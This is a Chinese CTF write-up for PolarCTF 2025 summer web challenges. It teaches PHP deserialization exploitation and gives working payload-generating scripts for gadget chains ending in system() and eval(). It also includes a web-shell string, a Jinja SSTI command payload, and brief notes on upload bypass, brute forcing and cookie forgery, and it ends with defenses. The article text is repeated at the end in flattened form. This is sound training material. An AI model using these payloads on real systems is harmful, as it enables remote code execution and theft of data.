polarctf2025夏季赛web
字数 1142 2025-09-01 11:26:17

PHP反序列化漏洞实战教学

1. 基础反序列化漏洞

1.1 基本原理

PHP反序列化漏洞发生在unserialize()函数处理用户可控数据时,攻击者可以构造恶意序列化数据来触发对象中的魔术方法,执行任意代码。

1.2 简单示例

<?php
class A {
    public $cmd;
    function __destruct() {
        if (isset($this->cmd)) {
            system($this->cmd);
        }
    }
}

if (isset($_GET['data'])) {
    $data = $_GET['data'];
    @unserialize($data);
} else {
    highlight_file(__FILE__);
}

利用方法:

  1. 构造恶意对象
  2. 序列化后作为参数传递

利用脚本:

<?php
class A {
    public $cmd = 'cat /f*';
}
$obj = new A();
echo urlencode(serialize($obj));
?>

2. 复杂反序列化链构造

2.1 多级魔术方法调用

<?php
class FlagReader {
    private $logfile = "/tmp/log.txt";
    protected $content = "<?php system(\$_GET['cmd']); ?>";
    
    public function __toString() {
        if (file_exists('/flag')) {
            return file_get_contents('/flag');
        } else {
            return "Flag file not found!";
        }
    }
}

class VulnerableClass {
    public $logger;
    private $debugMode = false;
    
    public function __destruct() {
        if ($this->debugMode) {
            echo $this->logger;
        } else {
            $this->cleanup();
        }
    }
}

利用步骤:

  1. 设置VulnerableClass的私有属性$debugMode=true
  2. $logger设置为FlagReader对象
  3. 触发__destruct()时会输出$logger,调用__toString()

利用脚本:

<?php
class FlagReader {
    private $logfile = "/tmp/log.txt";
    protected $content = "<?php system(\$_GET['cmd']); ?>";
}

class VulnerableClass {
    public $logger;
    private $debugMode = false;
}

$flag = new FlagReader();
$vuln = new VulnerableClass();

// 使用反射修改私有属性
$ref = new ReflectionClass($vuln);
$debugMode = $ref->getProperty('debugMode');
$debugMode->setAccessible(true);
$debugMode->setValue($vuln, true);

$vuln->logger = $flag;
$payload = serialize($vuln);
$base64_payload = base64_encode($payload);

if (preg_match('/^[a-zA-Z0-9\/+]+={0,2}$/', $base64_payload)) {
    echo "Payload: ".$base64_payload;
}
?>

3. 复杂调用链示例

<?php
class Read {
    public $source;
    public $is;
    
    public function __toString() {
        return $this->is->run("Read");
    }
    
    public function __wakeup() {
        echo "Hello>>>".$this->source;
    }
}

class Help {
    public $source;
    public $str;
    
    public function Printf($what) {
        echo "Hello>>>".$what;
        echo "<br>";
        return $this->str->source;
    }
    
    public function __call($name, $arguments) {
        $this->Printf($name);
    }
}

class Polar {
    private $var;
    
    public function getit($value) {
        eval($value);
    }
    
    public function __invoke() {
        $this->getit($this->var);
    }
}

class Doit {
    public $is;
    private $source;
    
    public function __construct() {
        $this->is = array();
    }
    
    public function __get($key) {
        $vul = $this->is;
        return $vul();
    }
}

调用链分析:

  1. 触发Read::__wakeup()输出$source(另一个Read对象)
  2. 触发Read::__toString()调用$is->run()(实际为Help对象)
  3. 触发Help::__call()调用Printf()
  4. 访问$str->source(Doit对象)触发Doit::__get()
  5. __get()执行$is()(Polar对象)触发Polar::__invoke()
  6. __invoke()调用getit()执行eval($this->var)

利用脚本:

<?php
class Read { public $source; public $is; }
class Help { public $source; public $str; }
class Polar { private $var; }
class Doit { public $is; private $source; }

// 构造利用链
$polar = new Polar();
// 使用反射设置私有属性
$reflection = new ReflectionClass($polar);
$property = $reflection->getProperty('var');
$property->setAccessible(true);
$property->setValue($polar, "system('env');"); // 修改此处执行任意命令

$doit = new Doit();
$doit->is = $polar;

$help = new Help();
$help->str = $doit;

$read2 = new Read();
$read2->is = $help;

$read1 = new Read();
$read1->source = $read2;

// 生成payload
$payload = serialize($read1);
echo "Payload: ".urlencode($payload);
?>

4. 其他相关技术

4.1 文件上传绕过

MIME类型验证绕过:

  • 修改HTTP请求的Content-Type头为image/jpeg等合法类型
  • 使用fileinfo扩展检测真实MIME类型时,可以尝试在文件开头添加合法文件头

4.2 密码爆破

常见方法:

  1. 扫描目录获取密码本
  2. 使用工具如Burp Suite或Hydra进行爆破
  3. 常见弱密码尝试

4.3 SSTI (服务器端模板注入)

示例payload:

{{cycler.__init__.__globals__.os.popen('cat /var/secret_flag').read()}}

4.4 Cookie伪造

常见方法:

  1. 扫描目录获取管理员登录页面
  2. 将普通用户cookie中的用户信息改为admin
  3. 使用base64编码伪造认证信息

5. 防御措施

  1. 避免反序列化用户输入:尽量不要反序列化用户提供的数据
  2. 使用白名单:对反序列化的类进行限制
  3. 签名验证:对序列化数据进行签名验证
  4. 魔术方法审查:检查类中的魔术方法是否安全
  5. 私有属性处理:注意反射可能绕过私有属性限制

6. 实用工具

  1. PHPGGC:PHP反序列化payload生成工具
  2. Burp Suite:用于拦截和修改请求
  3. AntSword:中国蚁剑,Webshell管理工具
  4. Hydra:密码爆破工具
  5. DirBuster:目录扫描工具

通过以上技术点的学习和实践,可以全面掌握PHP反序列化漏洞的利用和防御方法。

PHP反序列化漏洞实战教学 1. 基础反序列化漏洞 1.1 基本原理 PHP反序列化漏洞发生在 unserialize() 函数处理用户可控数据时,攻击者可以构造恶意序列化数据来触发对象中的魔术方法,执行任意代码。 1.2 简单示例 利用方法: 构造恶意对象 序列化后作为参数传递 利用脚本: 2. 复杂反序列化链构造 2.1 多级魔术方法调用 利用步骤: 设置 VulnerableClass 的私有属性 $debugMode=true 将 $logger 设置为 FlagReader 对象 触发 __destruct() 时会输出 $logger ,调用 __toString() 利用脚本: 3. 复杂调用链示例 调用链分析: 触发 Read::__wakeup() 输出 $source (另一个 Read 对象) 触发 Read::__toString() 调用 $is->run() (实际为 Help 对象) 触发 Help::__call() 调用 Printf() 访问 $str->source ( Doit 对象)触发 Doit::__get() __get() 执行 $is() ( Polar 对象)触发 Polar::__invoke() __invoke() 调用 getit() 执行 eval($this->var) 利用脚本: 4. 其他相关技术 4.1 文件上传绕过 MIME类型验证绕过: 修改HTTP请求的 Content-Type 头为 image/jpeg 等合法类型 使用 fileinfo 扩展检测真实MIME类型时,可以尝试在文件开头添加合法文件头 4.2 密码爆破 常见方法: 扫描目录获取密码本 使用工具如Burp Suite或Hydra进行爆破 常见弱密码尝试 4.3 SSTI (服务器端模板注入) 示例payload: 4.4 Cookie伪造 常见方法: 扫描目录获取管理员登录页面 将普通用户cookie中的用户信息改为admin 使用base64编码伪造认证信息 5. 防御措施 避免反序列化用户输入 :尽量不要反序列化用户提供的数据 使用白名单 :对反序列化的类进行限制 签名验证 :对序列化数据进行签名验证 魔术方法审查 :检查类中的魔术方法是否安全 私有属性处理 :注意反射可能绕过私有属性限制 6. 实用工具 PHPGGC :PHP反序列化payload生成工具 Burp Suite :用于拦截和修改请求 AntSword :中国蚁剑,Webshell管理工具 Hydra :密码爆破工具 DirBuster :目录扫描工具 通过以上技术点的学习和实践,可以全面掌握PHP反序列化漏洞的利用和防御方法。